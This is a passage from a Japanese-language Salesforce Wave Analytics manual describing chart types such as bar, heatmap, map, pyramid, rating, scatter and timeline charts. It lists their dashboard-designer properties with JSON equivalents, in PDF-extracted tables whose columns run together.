低域～中域バンドの色のグラデー
ションを形成する左と右の色。

カラー
ピッカー

低域バン
ド

#FED444

#F29946

color stringcolors.mediumColor1

colors.mediumColor2

中域～高域バンドの色のグラデー
ションを形成する左と右の色。

カラー
ピッカー

中域バン
ド

#7BDE4E

#169913

color stringcolors.highColor1

colors.highColor2

高域～最大バンドの色のグラデー
ションを形成する左と右の色。

カラー
ピッカー

高域バン
ド

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

4621

グラフによるデータの視覚化分析



デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

横棒グラフ
横棒グラフを使用して、関連する値をすばやく視覚的に比較します。横棒グラフは、Wave ダッシュボードデ
ザイナ、Classic デザイナ、およびエクスプローラで使用できます。

横棒グラフのサイズの最適化
自動調整を使用すると、長くスクロールしたり情報を見失ったりすることなく、過密なダッシュボード内に棒
グラフを収めることができます。
上位の国のリストが表示される棒グラフを使用してレンズを作成してから、作成中のダッシュボードにクリッ
プします。

ただし、タイトルとサブタイトルを追加すると、下部の棒が見えなくなってしまいます。
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再度すべての棒を表示するには、[自動調整] から [調整] を選択します。

ダッシュボードの配置中に棒グラフのサイズを変更すると、表示ラベルが失われる場合があります。

表示ラベルを復元するには、[自動調整] から [表示ラベルを保持] を選択します。

横棒グラフのプロパティ
横棒グラフは、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、同等
の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

TRUEbooleanshowValues棒で表される数値を棒内に表示し
ます。

チェック
ボックス

グラフの
棒に値を
表示

FALSEbooleannormalize積み上げ横棒グラフで、積み上げ
グループを合計のパーセントで表
示します。

チェック
ボックス

値を正規
化

fitnone、fit、
keepLabels

autoFitModeコンテナウィジェットに合わせて
グラフに適用するサイズの調整を
選択します。

ドロップ
ダウン

自動調整

• なし: 調整は行われません。
• 調整: 含まれるウィジェットに合

うまでグラフのサイズが調整さ
れます。

• 表示ラベルを保持: 表示ラベルが
表示されたままになるようにグ
ラフのサイズが調整されます。

multisync、
dual、multi

axisModeグラフに複数の基準が表示される
方法を指定します。

ドロップ
ダウン

軸モード

• 単一軸: 1 つの軸に基準を表示し
ます。

• 二軸: 最初の基準を左軸、2 番目
の基準を右軸に表示します。

• 小さい複数: 基準ごとに 1 つのグ
ラフを作成します。

TRUEbooleandimensionAxis.showAxis

meansureAxis1.showAxis

グラフに軸を表示します。Y、X

(上)、および X (下) に使用できます。
チェック
ボックス

軸を表示

meansureAxis2.showAxis

TRUEbooleandimensionAxis.showTitle

meansureAxis1.showTitle

軸のタイトルを表示します。Y、X

(上)、および X (下) に使用できます。
チェック
ボックス

タイトル
を表示

measureAxis2.showTitle
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringdimensionAxis.title

meansureAxis1.title

軸に付けられたタイトル。showTitle

が TRUE の場合、Y、X (上)、および X

(下) に使用できます。

テキスト
入力

タイトル

meansureAxis2.title

0number

string

measureAxis1.referenceLine

.value .label .color

指定された X 軸の値での縦線。X (上)

および X (下) に使用できます。
テキスト
入力、色
入力

基準線
rgb(0, 161,
224)color stringmeasureAxis2.referenceLine

.value .label .color

• 値: X 軸の値 (数値)

• 表示ラベル: 線に表示されるテキ
スト

• 色: 線の色 (色の文字列)

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数
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ヒートマップ
ヒートマップを使用して、1 つの基準と複数のディメンションがあるデータの高い値と低い値を視覚的に強調
します。ヒートマップグラフは、Wave ダッシュボードデザイナ、Classic デザイナ、およびエクスプローラで使
用できます。

ヒートマップグラフのプロパティ
ヒートマップグラフは、Wave ダッシュボードデザイナで、プロパティを使用して設定されます。これらのプ
ロパティには、同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

#E2F4FCcolor stringlowColor色のグラデーションのローレンジ
の色の値。

カラー
ピッカー

色 (低)

#009DDFcolor stringhighColor色のグラデーションのハイレンジ
の色の値。

カラー
ピッカー

色 (高)

keepLabelsnone、fit、
keepLabels

autoFitModeコンテナウィジェットに合わせて
グラフに適用するサイズの調整を
選択します。

ドロップ
ダウン

自動調整

• なし: 調整は行われません。
• 調整: 含まれるウィジェットに合

うまでグラフのサイズが調整さ
れます。

• 表示ラベルを保持: 表示ラベルが
表示されたままになるようにグ
ラフのサイズが調整されます。

TRUEbooleanx.showAxis

y.showAxis

グラフに軸を表示します。X および
Y 軸に使用できます。

チェック
ボックス

軸を表示
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

TRUEbooleanx.showTitle

y.showTitle

軸のタイトルを表示します。X およ
び Y 軸に使用できます。

チェック
ボックス

タイトル
を表示

stringx.title

y.title

軸に付けられたタイトル。X および
Y 軸に使用できます。

テキスト
入力

タイトル

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数
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地図グラフ
地図は、対応付けられた値に応じて領域を網掛け表示できる地理的コンポーネントを含むデータがある場合に
使用し、値の高い領域を強調表示できます。地図グラフは、Wave ダッシュボードデザイナおよびClassic デザイ
ナで使用できます。
地図グラフのデータには、地図に表示される地理的エンティティに対応する地名が含まれている必要がありま
す。Wave 地図グラフでは大文字と小文字は区別されませんが、米国の州や世界の国などの地理的エンティティ
の特定のコードまたは名前が必要です。
米国地図の場合、データの各行には 2 文字の略称 (推奨) またはその完全な一般名によって州を識別する 1 つの
項目が含まれている必要があります。たとえば、カリフォルニア州にリンクされているデータ行には、「Calif」
ではなく「CA」または「California」の識別項目が必要です。
グローバル地図の場合、識別する国名は ISO 3166-1 (alpha 3) の 3 文字のコード (推奨) に従うか、ISO 3166-1 (alpha 3)

によって設定された国名の正確な記述を使用する必要があります。たとえば、イギリスにリンクされている
データ行には、「Great Britain」ではなく「GBR」または「United Kingdom」の識別項目が必要です。

地図のプロパティ
地図は、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、同等の JSON

プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

World
Countries

下記参照mapデータを表示する地図。ドロップ
ダウン

地図の種
類

#C5DBF7color stringlowColor色のグラデーションのローレンジ
の色の値。

カラー
ピッカー

色 (低)

#1674D9color stringhighColor色のグラデーションのハイレンジ
の色の値。

カラー
ピッカー

色 (高)

multicolor stringlowColor色のグラデーションのローレンジ
の色の値。

カラー
ピッカー

色 (低)
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

米国地図での map JSON の例を次に示します。

{
"visualizationType": "choropleth",
"step": "step_newmap",
"map": "US States",
"legend": {
"show": false,
"inside": false,
"showHeader": true,
"position": "right-top"
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},
"title": {
"label": "",
"subtitleLabel": "",
"align": "center"

},
"theme": "wave",
"lowColor": "#C5DBF7",
"highColor": "#1674D9",
"trellis": {
"enable": false,
"type": "x",
"chartsPerLine": 4

}
}

map プロパティで使用できる他の値は、次のとおりです。
"World Countries"、"Americas"、"North America"、"South America"、"Central America"、"Caribbean"、"Europe"、"Eastern

Europe"、"Northern Europe"、"Southern Europe"、"Western Europe"、"Central Europe"、"Scandanavia"、"Asia"、"South Asia"、"South

East Asia"、"East Asia"、"Australasia"、"Africa"、"East Africa"、"Middle Africa"、"North Africa"、"Southern Africa"、"Western

Africa"、"EMEA"、"APAC"

カスタム地図グラフ
対応付けられた値に応じて領域を網掛け表示できる地図グラフを使用すると、値の高い領域を強調表示できま
す。地理的な単位のカスタム地図を使用したり、多角形で表示可能な種類の領域を示したりできます。カスタ
ム地図グラフは、Wave ダッシュボードデザイナおよび Classic デザイナで使用できます。
Wave グラフで提供されるいずれの標準地図とも一致しない地理的コンポーネント (カスタム地域など) を含む
データがある場合、カスタム地図を使用します。GeoJSON で表すことができるその他の領域 (スタジアムの座席
セクション、街区、間取図など) は、Wave の地図でも表すことができます。データは、ID または名前プロパ
ティをキーとして使用してカスタム地図に重ねて表示されます。

カスタム地図グラフの作成
地図を定義するデータが含まれる GeoJSON ファイルをアップロードして、カスタム地図を作成します。
1. Salesforce 組織にログインしているときに、URL

www.salesforce.com/analytics/wave/web/custommap.apexp に移動します。
2. [新規] をクリックします。
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新しいカスタム地図の挿入ウィンドウには、GeoJSON のパネルと地図自体のパネルの 2 つのパネルがありま
す。
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3. GeoJSON セクションで必須項目 (赤色で表示) に入力し、読み込む GeoJSON ファイルを選択します。

GeoJSON 名と表示ラベルは、カスタム地図の管理画面で使用されます。

4. [挿入] をクリックし、[結果] セクションで確認メッセージを探します。
5. 地図セクションで必須項目 (赤色で表示) に入力します。

地図名と表示ラベルは、Wave で使用されます。
6. アップロードする地理情報データの種類に基づいて射影を選択し、作成した GeoJSON 定義を選択します。
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7. [地図を挿入] をクリックし、[結果] セクションで確認メッセージを探します。
8. 地図を表示するには、Wave に移動して地図グラフを選択し、[対応付け種別] をクリックします。

地図グラフを有効にするには、適切なステップデータを Wave ダッシュボードデザイナにクリップしている
必要があります。

マトリックスグラフ
マトリックスグラフ (Wave ダッシュボードデザイナの新機能) を使用して基準を視覚的に表現するテーブルを
作成すると、極値をすばやく見つけることができます。マトリックスグラフは、Wave ダッシュボードデザイ
ナ、Classic デザイナ、およびエクスプローラで使用できます。
たとえば、最も多くの商談を生み出している商品ファミリを表示できます。
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ピラミッドグラフ
ピラミッドグラフを使用して、積み上げ形式のディメンション値の相対サイズを視覚的に強調します。ピラ
ミッドグラフは、Wave ダッシュボードデザイナで使用できます。

ピラミッドグラフの作成
ピラミッドグラフは、特定のカテゴリの取引先と取引先の値など、ある特定のディメンションに関連する関連
基準を表示するために最適です。
たとえば、会社が事業を行っている国の取引先全体の値と数を確認する必要があるとします。棒グラフには
データが順序どおりに表示されますが、魅力的でも見やすくもありません。
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これをピラミッドグラフに変更すると、全体の外観と見やすさが向上します。
1. 棒グラフを Wave ダッシュボードデザイナにクリップします。

2 番目の基準の棒には自動的に別の色が適用されます。

2. グラフの種類をピラミッドに変更します。
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3. 左軸のタイトルを編集し、中央軸を削除し、凡例を中央上に配置します。

この調整によりピラミッドの外観が改善されましたが、中央軸の国名が削除されたため、やや不明確に思
えるかもしれません。ただし、グラフをダッシュボードに保存すれば、棒の上にマウスポイントを置いた
ときに有益なツールチップが表示されます。
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ピラミッドグラフのプロパティ
ピラミッドグラフは、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、
同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

TRUEbooleanshowValues棒で表される数値を棒内に表示し
ます。

チェック
ボックス

グラフの
棒に値を
表示

TRUEbooleanshowMeasure各基準の軸を表示します。チェック
ボックス

基準軸を
表示

TRUEbooleanshowMeasureTitle各基準の基準タイトルを表示しま
す。

チェック
ボックス

基準タイ
トルを表
示

FALSEbooleannormalize積み上げピラミッドグラフで、積
み上げグループを合計のパーセン
トで表示します。

チェック
ボックス

値を正規
化

fitnone、fit、
keepLabels

autoFitModeコンテナウィジェットに合わせて
グラフに適用するサイズの調整を
選択します。

ドロップ
ダウン

自動調整

• なし: 調整は行われません。
• 調整: 含まれるウィジェットに合

うまでグラフのサイズが調整さ
れます。

• 表示ラベルを保持: 表示ラベルが
表示されたままになるようにグ
ラフのサイズが調整されます。
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

#52b7d8color stringleftColorピラミッドの左側の色を指定しま
す。積み上げピラミッドグラフで
は使用できません。

カラー
ピッカー

色 (左)

#e16032color stringrightColorピラミッドの右側の色を指定しま
す。積み上げピラミッドグラフで
は使用できません。

カラー
ピッカー

色 (右)

TRUEbooleandimensionAxis.showAxisグラフの中央軸の値を表示します。チェック
ボックス

軸を表示

stringmeansureAxis1.title軸に付けられたタイトル。タイト
ルが入力されていない場合、デフォ

テキスト
入力

タイトル
meansureAxis2.titleルトタイトルが生成されます。左

軸と右軸に使用できます。

0number

string

measureAxis1.referenceLine

.value .label .color

指定された軸の値での縦線。左軸
と右軸に使用できます。

テキスト
入力、色
入力

基準線
rgb(0, 161,
224)color stringmeasureAxis2.referenceLine

.value .label .color

• 値: 軸の値 (数値)

• 表示ラベル: 線に表示されるテキ
スト

• 色: 線の色 (色の文字列)

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

レーダーグラフ
レーダーグラフを使用して、1 つのディメンションと少なくとも 3 つの測定値列を持つ小さなデータセットを
表示します。レーダーグラフは、Wave ダッシュボードデザイナで使用できます。

レーダーグラフの作成
レーダーグラフは、スケールが異なる 3 つ以上の基準軸に沿ってディメンションを視覚的に表示する場合に役
立ちます。
たとえば、特定の商品区分の主要な総計値を追跡する場合、それらの総計値と共に商品区分を視覚化する必要
があるとします。
1. Wave で、商品区分別にデータをグループ化し、主要な総計値を反映する基準を追加します。

積み上げ横棒グラフを使用して選択した基準に沿って商品区分を比較する場合、異なる区分のパフォーマ
ンスを相対的に評価することは困難です。

2. レンズを Wave ダッシュボードデザイナにクリップし、[グラフの種類] から [総計値レーダー] を選択しま
す。

3. グラフのタイトルを入力し、必要に応じて他の調整を行います。
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評価グラフ
評価グラフを使用して、測定された品質 (顧客満足度など) の評価を表示します。評価グラフは、Wave ダッシュ
ボードデザイナで使用できます。

評価グラフの作成
たとえば、会社が事業を行っている各国の顧客満足度の目標を設定している場合、評価グラフはその目標にど
の程度近づいているかを表示するために最適です。
すでにアンケートによるデータの収集、平均化、および読み込みは完了しているため、顧客満足度スコアに
とって意味のある方法でそのデータを表示する必要があります。各評価グラフは、国ごとに 1 つの値を表示
し、値の範囲を強調表示できます。
1. Wave Analytics で、顧客満足度データセットを使用してレンズを作成し、Wave ダッシュボードデザイナにク

リップします。

2. グラフの種類を [評価] に変更します。
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3. ブレークポイント値および関連付けられたバンドの色を設定します。

ブレークポイントでは、色のバンドが遷移する範囲値を設定します。最大値は 10 です。各国で 7.2 を超え
ることが目標です。

4. グラフ全体をスクロールせずに一目で確認できるように、[Trellis] の種類を [折り返し] に設定します。

評価グラフの 2 色の設定によって、7.2 を超える値を簡単に見分けることができます。また、目標値に近づ
いている国も簡単に確認できます。

評価グラフのプロパティ
評価グラフは、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、同等
の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

circlecircle、
start、

iconグラフで使用するアイコン。ドロップ
ダウン

アイコン

heart、
square、
check、
cloud

102 ～ 100numberOfIcons基準ごとに使用する合計アイコン
数。

数値入力アイコン
数

compactNumbernone、
number、

valueType各セグメントに表示する数値の形
式。

ドロップ
ダウン

値の表示
形式

compactNumber、
percent

• なし: 値を表示しない
• 数値: 短縮されていない数値

(911,235)

• コンパクト数値: 短縮された数値
(911K)

• パーセント: 合計のパーセント

FALSEbooleanshowMax基準値と共に最大値を表示します。チェック
ボックス

最大値を
表示

FALSEbooleanvaluesOnLeft値をアイコンの左側に表示します。チェック
ボックス

値を左に
表示

0numberminローレンジ色のバンドの最小値。数値入力最小
50numberhighローレンジ色とハイレンジ色を分

離するブレークポイント値。
数値入力高

100numbermaxハイレンジ色のバンドの最大値。数値入力最大
#ff0077color stringcolors.lowColor1値が「最小」と「高」の間にある

場合のアイコンの色。
カラー
ピッカー

低域バン
ド

#44ee00color stringcolors.highColor1値が「高」と「最大」の間にある
場合のアイコンの色。

カラー
ピッカー

高域バン
ド
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
• 折り返し: 複数行で表示されま

す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

散布図
散布図を使用して、2 つのデータグループの相関関係を視覚化します。散布図は、Wave ダッシュボードデザイ
ナ、Classic デザイナ、およびエクスプローラで使用できます。

散布図のプロパティ
散布図は、Wave ダッシュボードデザイナのプロパティで設定されます。これらのプロパティには、同等の JSON

プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

TRUEbooleanx.showZero

y.showZero

軸を強制的に 0 で開始します。チェック
ボックス

軸を 0 で開
始

TRUEbooleanx.showAxisグラフに軸を表示します。チェック
ボックス

軸を表示
y.showAxis

TRUEbooleanx.showTitle

y.showTitle

軸のタイトルを表示します。チェック
ボックス

タイトル
を表示

stringx.title

y.title

軸に付けられたタイトル。showTitle

が TRUE の場合にのみ表示されま
す。

テキスト
入力

タイトル

0number

string

x.referenceLine

.value .label .color

指定された軸の値での縦線 (X 軸) ま
たは横線 (Y 軸)。

数値入
力、テキ
スト入

基準線
rgb(0, 161,
224)color stringy.referenceLine

.value .label .color

• 値: 軸の値 (数値)
力、色入
力 • 表示ラベル: 線に表示されるテキ

スト
• 色: 線の色 (色の文字列)

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

• マトリックス: テーブルで表示さ
れます。

• 折り返し: 複数行で表示されま
す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

タイムライングラフ
タイムライングラフを使用して、経時的な値の変化を表示します。タイムライングラフは、Wave ダッシュボー
ドデザイナ、Classic デザイナ、およびエクスプローラで使用できます。

タイムライングラフのプロパティ
タイムライングラフは、Wave ダッシュボードデザイナで、プロパティを使用して設定されます。これらのプ
ロパティには、同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ

結合結合、非
結合

missingValue欠損値の処理方法です。ドロップ
ダウン

欠損値の
処理 • 結合: 既存値をつなぐ線を引く。

• 非結合: 欠損値分を空白のままに
する。

TRUEbooleanfillAreaタイムラインの下の領域を塗りつ
ぶします。

チェック
ボックス

領域を塗
りつぶす
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

TRUEbooleanshowPointsデータポイントを表示します。チェック
ボックス

点を表示

TRUEbooleantimeAxis.showAxis

meansureAxis1.showAxis

グラフに軸を表示します。X (時間)

と Y (基準) で使用可能です。
チェック
ボックス

軸を表示

TRUEbooleantimeAxis.showTitle

meansureAxis1.showTitle

軸のタイトルを表示します。X (時
間) と Y (基準) で使用可能です。

チェック
ボックス

タイトル
を表示

stringtimeAxis.title

meansureAxis1.title

軸に付けられたタイトル。X (時間)

と Y (基準) で使用可能です。
テキスト
入力

タイトル

0number

string

measureAxis1.referenceLine

.value .label .color

指定された Y 軸の値での横線。数値入
力、テキ
スト入

基準線
rgb(0, 161,
224)

• 値: Y 軸の値 (数値)

color string• 表示ラベル: 線に表示されるテキ
スト力、色入

力
• 色: 線の色 (色の文字列)

TRUEbooleanlegend.showグラフの凡例を表示します。チェック
ボックス

凡例を表
示

TRUEbooleanlegend.showHeaderグラフの凡例のヘッダーを表示し
ます。

チェック
ボックス

凡例の
ヘッダー
を表示

FALSEbooleanlegend.inside凡例に必要なスペースを削減する
ため、グラフ領域内に凡例を表示

チェック
ボックス

グラフ領
域内に凡
例を表示 します。凡例がグラフと重なる場

合があります。
right-topright-top、

bottom-center、
legend.position凡例の位置を設定します。ドロップ

ダウン
位置

left-top、
top-center

booleantrellis.enableグルーピングに基づいて個別のグ
ラフを表示します。

チェック
ボックス

Trellis とし
て表示

xx、y、xy、
wrap

trellis.typeTrellis の種類。ドロップ
ダウン

種別
• 横方向: 1 行で表示されます。
• 縦方向: 1 列で表示されます。
• マトリックス: テーブルで表示さ

れます。
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

• 折り返し: 複数行で表示されま
す。

42、3、4、
5、6、7、8

trellis.chartsPerLineTrellis が「折り返し」に設定されて
いる場合、新しい行が開始される
前に 1 行に表示されるグラフの数を
設定します。

ドロップ
ダウン

行あたり
のグラフ
数

ツリーマップグラフ
ツリーマップを使用して定量的な階層データを視覚化します。包含する長方形は色でリレーションを示し、
「葉」の長方形は面積で量を表します。ツリーマップグラフは、Wave ダッシュボードデザイナで使用できま
す。

ツリーマップグラフの作成
ツリーマップグラフは、他の種類のグラフではうまくまとめることができないグルーピングを視覚化するため
に役立ちます。
たとえば、上位の市場を明らかにする方法で、各州の市別に商談数を表示できます。
1. Wave で商談を州別にグループ化してから、市別にグループ化します。
2. レンズを Wave ダッシュボードデザイナにクリップし、ダッシュボードでそのグラフを表示します。

棒グラフのグルーピングでは、一目で棒グラフ全体を把握することも、上位の市場をすばやく見つけるこ
とも困難です。

3. [グラフの種類] から [ツリーマップ] を選択します。
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ツリーマップグラフでは、値の高い市を簡単に見分けることができます。ツールチップを使用すると、市
を表す長方形の詳細を表示できます。

縦棒グラフ
縦棒グラフを使用して、リードや金額などの相対的な計数を表示します。縦棒グラフは、Wave ダッシュボー
ドデザイナ、Classic デザイナ、およびエクスプローラで使用できます。

縦棒グラフのプロパティ
縦棒グラフは、Wave ダッシュボードデザイナで、プロパティを使用して設定されます。これらのプロパティ
には、同等の JSON プロパティがあります。
次の表に、使用可能なプロパティを示します。

デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

stringlabelグラフタイトルのテキスト。テキスト
入力

タイトル

stringsubtitleLabelグラフサブタイトルのテキスト。テキスト
入力

サブタイ
トル

centerleft、
center、
right

alignグラフのタイトルとサブタイトル
の配置。

テキスト
入力

タイトル
の配置

wavewave、
light、dark

themeグラフのカラーテーマ。ドロップ
ダウン

テーマ
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デフォル
ト値

JSON の値JSON プロパティ説明型プロパ
ティ

